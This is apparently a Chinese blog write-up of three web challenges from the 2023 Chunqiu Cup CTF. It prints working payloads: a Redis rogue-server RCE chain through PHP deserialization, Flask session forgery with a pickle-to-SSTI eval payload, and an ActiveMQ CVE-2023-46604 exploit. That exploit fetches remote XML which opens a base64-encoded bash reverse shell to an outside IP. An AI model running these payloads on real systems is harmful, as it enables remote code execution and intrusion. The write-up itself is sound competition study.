2023年春秋杯网络安全联赛冬季赛-web

春秋杯冬季赛-web

前言

web 1/3

还以为是小比赛呢,题目难度偏高(我是菜鸡

ezezz_php

不难,但我刷题太少了,redis主从复制rce不熟练,耗了很长时间

<?php 
class Rd
{
    public $ending;
    public $cl;
    public $poc;

    public function __destruct(){
        // echo "All matters have concluded"."</br>";
    }

    public function __call($name, $arg){
        foreach ($arg as $key => $value) {
            if ($arg[0]['POC'] == "0.o") {
                $this->cl->var1 = "get";
            }
        }
    }
}

class Poc
{
    public $payload;
    public $fun;

    public function __set($name, $value){
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod){
        echo "Have you genuinely accomplished what you set out to do?"."</br>";
        file_get_contents($paylaod);
    }
}

class Er
{
    public $symbol;
    public $Flag;

    public function __construct(){
        $this->symbol = True;
    }

    public function __set($name, $value){   
        if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
               $value($this->Flag);
        }
    else {
    echo "NoNoNo,please you can look hint.php"."</br>";
    }
  }
}

class Ha
{
    public $start;
    public $start1;
    public $start2;

    public function __construct(){
        // echo $this->start1 . "__construct" . "</br>";
    }

    public function __destruct(){
        if ($this->start2 === "o.0") {
            $this->start1->Love($this->start);
            // echo "You are Good!"."</br>";
        }
    }
}

function get($url) {
    // $url=base64_decode($url);
    // var_dump($url);
    // $ch = curl_init();
    // curl_setopt($ch, CURLOPT_URL, $url);
    // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // curl_setopt($ch, CURLOPT_HEADER, 0);
    // $output = curl_exec($ch);
    // $result_info = curl_getinfo($ch);
    // var_dump($result_info);
    // curl_close($ch);
    // var_dump($output);
}

// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get()

// payload 按顺序发,公网上建好evil redis-server
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777";
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $payload = "dict://127.0.0.1:6379/slave:no:one";
$payload = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';

echo(serialize($Ha));
 ?>

调用到get函数查看hint.php的话,会告诉你

主机名不是db,而是127.0.0.1

这一看就是redis

项目Dliv3/redis-rogue-server: Redis 4.x/5.x RCE (github.com)

python3 redis-rogue-server.py --server-only

然后payload语句一句一句打下来就行

picup *

刚开始注册和登录

然后就有上传文件

测试发现内容过滤了许多东西,且测出限制长度为70

随便传点内容上去,点击一下跳转到另一个页面

url为/pic.php?pic=1.php(我的文件名为1.php)

我当时就觉得有文件包含,但是我../发现没有用,之后就是没用的测试了,卡在这里

这里的话其实是双写绕过..././ 。。。。啊这

/app/app.py下发现了文件源码

import os
import pickle
import base64
import hashlib
from flask import Flask, request, session, render_template, redirect
from Users import Users
from waf import waf

users = Users()

app = Flask(__name__)
app.template_folder = "./"
app.secret_key = users.passwords['admin'] = hashlib.md5(os.urandom(32)).hexdigest()


@app.route('/', methods=['GET', 'POST'])
@app.route('/index.php', methods=['GET', 'POST'])
def index():
    if not session or not session.get('username'):
        return redirect("login.php")

    if request.method == "POST" and 'file' in request.files and (filename := waf(request.files['file'])):
        filepath = os.path.join("./uploads", filename)
        request.files['file'].save(filepath)
        return "File upload success! Path: <a href='pic.php?pic=" + filename + "'>" + filepath + "</a>."
    return render_template("index.html")


@app.route('/login.php', methods=['GET', 'POST'])
def login():
    if request.method == "POST" and (username := request.form.get('username')) and (
    password := request.form.get('password')):
        if type(username) == str and type(password) == str and users.login(username, password):
            session['username'] = username
            return "Login success! <a href='/'>Click here to redirect.</a>"
        else:
            return "Login fail!"
    return render_template("login.html")


@app.route('/register.php', methods=['GET', 'POST'])
def register():
    if request.method == "POST" and (username := request.form.get('username')) and (
    password := request.form.get('password')):
        if type(username) == str and type(password) == str and not username.isnumeric() and users.register(username,
                                                                                                           password):
            str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(
                username=username).format(users=users)
            return str1
        else:
            return "Register fail!"
    return render_template("register.html")


@app.route('/pic.php', methods=['GET', 'POST'])
def pic():
    if not session or not session.get('username'):
        return redirect("login.php")
    if (pic := request.args.get('pic')) and os.path.isfile(filepath := "./uploads/" + pic.replace("../", "")):
        if session.get('username') == "admin":
            return pickle.load(open(filepath, "rb"))
        else:
            return '''<img src="data:image/png;base64,''' + base64.b64encode(
                open(filepath, "rb").read()).decode() + '''">'''
    res = "<h1>files in ./uploads/</h1><br>"
    for f in os.listdir("./uploads"):
        res += "<a href='pic.php?pic=" + f + "'>./uploads/" + f + "</a><br>"
    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
#Users.py

import hashlib
import os


class Users:
    passwords={}
    def register(self,username,password):
        if username in self.passwords:
            return False
        if len(self.passwords)>=3:
            for u in list(self.passwords.keys()):
                if u!="admin":
                    del self.passwords[u]
        self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
        return True

    def login(self,username,password):
        if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
            return True
        return False
# waf.py

import os
from werkzeug.utils import secure_filename

def waf(file):


    content=file.read().lower()
    if len(content)>=70:
        return False

    for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
        if b in content:
            return False

    file.seek(0)
    return secure_filename(file.filename)

register.php存在python格式化字符串漏洞

@app.route('/register.php', methods=['GET', 'POST'])
def register():
    if request.method == "POST" and (username := request.form.get('username')) and (
    password := request.form.get('password')):
        if type(username) == str and type(password) == str and not username.isnumeric() and users.register(username,
                                                                                                           password):
            str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(
                username=username).format(users=users)
            return str1
        else:
            return "Register fail!"
    return render_template("register.html")

注册username为{users.passwords}即可

image-20240208024034779

拿到admin的password后,拿他去进行session伪造

flask-unsign --sign --cookie '{"username":"admin"}' --secret 294f3d30bab18f91f5cfe2e23881f5eb

成为admin后我们就要考虑如何进行pickle反序列化了

这里存在长度70的限制并且过滤了诸多关键字以及构造opcode的关键字符换行符\n

这里看了WP,不太理解为什么绕过换行的方法是将pickle.dumpsprotocol选项设置为4或5的版本

image-20240208170137482

然后eval,os等都被禁了

结合题目环境存在任意文件上传点,且最为关键的一点是设置了flask app的模板渲染路径为./(也就是/app

app.template_folder="./"

我们上传文件的上传路径为./uploads/,所以我们上传的文件都可以被作为flask的模板文件进行渲染

代码中也引入调用了render_template函数对模板文件进行渲染

推断出所有的模板文件都是存放在./也就是/app目录下的

那我们自然也可以按照这个思路通过任意文件上传点上传一个恶意的可以实现模板注入SSTI的POC模板文件,然后再通过pickle反序列化调用render_template函数渲染它即可实现pickle to SSTI的攻击思路

所以结论就是调用flask的内置函数render_template

那这里SSTI的话,官方WP给了一个极限的payload

{{lipsum['__glob''als__']['__built''ins__']['ev''al'](request.data)}}

长度为69

保存为poc文件后上传

然后是构造pickle反序列化 (他这里也没用到上面说的指定protocol为4或5啊。。。)

import pickle
from flask import render_template

class EXP():
    def __reduce__(self):
        return(render_template,("uploads/poc",))

exp=EXP()
f=open("exp","wb")
pickle.dump(exp,f)

得到生成的exp文件上传 (长度为69,也是非常极限。。。。。)

GET /pic.php?pic=exp HTTP/1.1
Host: localhost
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZYkoxw.oJOwM9sfFQlcG85g4BTN1d1lgfA
Content-Length: 39

__import__('os').popen('whoami').read()

image-20240208171703761

image-20240208171717817

image-20240208171738225

总结与反思

文件包含处多尝试,去猜测他的waf点

关键的使用render_template函数我应该不太能想到,不知道咋办

整体上操作不难,但是几个关键点想不到都会原地爆炸

Active-Takeaway

看名字就知道和ActiveMQ有关

实例化任意构造器,参数为String类,经典ActiveMQ漏洞

image-20240208173926122

有个filter,用分号绕过?

image-20240208213718843

好,没发现其他地方,根本没有思路,WP启动

开始

image-20240208224856033

嗯嗯,没错符合猜想

image-20240208225000929

?我咋找不到,用了jadx全局搜索,找到在org.example包下。。。。藏成这样? 服了

经过对WP的理解和搭建activemq环境过程中的发掘,我才理解这是一段点对点模式的长连接代码

那这里我们就能够从broker打到consumer

简单描述原理就是像官方WP中所说的

在activemq中的org.apache.activemq.broker.BrokerRegistry#getInstance里可以拿到和broker保持长连接的merchant线程。拿到这个线程向merchant发包打一遍CVE-2023-46604即可

这里我们不用官方WP中那么复杂,我们直接加载的xml文件内容为以js代码来执行代码

但原理是一样的,都是通过broker的机子执行恶意代码进而控制merchant的机子

详细原理看文章雨了个雨’s blog (yulegeyu.com)

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
            http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">

    <context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>

    <bean class="java.lang.String">
        <property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(&quot;function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){   brokerService = brokers.get(key);  try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');}   f.setAccessible(true);   shutdownHook = f.get(brokerService);   threadGroup = shutdownHook.getThreadGroup();   f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){       thread = threads[key];       if(thread == null){           continue;       }       threadName = thread.getName();       if(threadName.startsWith('ActiveMQ Transport: ')){           f = thread.getClass().getDeclaredField('target');                      tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f));           f = tcpTransport.getClass().getDeclaredField('socket');           f.setAccessible(true);           socket = f.get(tcpTransport);           bos = new java.io.ByteArrayOutputStream();           dataOutput = new java.io.DataOutputStream(bos);           dataOutput.writeInt(1);           dataOutput.writeByte(31);    bs = new org.apache.activemq.openwire.BooleanStream();    bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(false);   bs.writeBoolean(true); bs.writeBoolean(false);  bs.marshal(dataOutput); dataOutput.writeUTF('bb');  dataOutput.writeUTF('aa');  dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext');  dataOutput.writeUTF('http://vps_ip:8000/dddd');  dataOutput.writeShort(0);  socketOutputStream = socket.getOutputStream();           socketOutputStream.write(bos.toByteArray());         }   }   }&quot;)}"/>
    </bean>
</beans>

代码中的http://vps_ip:8000/dddd为反弹shell的xml文件

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguODkuNjEuNzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

这样即可

reference

https://boogipop.com/2024/01/25/2023%E5%B9%B4%E6%98%A5%E7%A7%8B%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%81%94%E8%B5%9B%E5%86%AC%E5%AD%A3%E8%B5%9B%20Web%20Writeup/

【WP】2023年春秋杯冬季赛WEB、PWN类题目解析 | CTF导航 (ctfiot.com)

雨了个雨’s blog (yulegeyu.com)


2023年春秋杯网络安全联赛冬季赛-web
https://zer0peach.github.io/2024/02/04/2023年春秋杯网络安全联赛冬季赛-web/
作者
Zer0peach
发布于
2024年2月4日
许可协议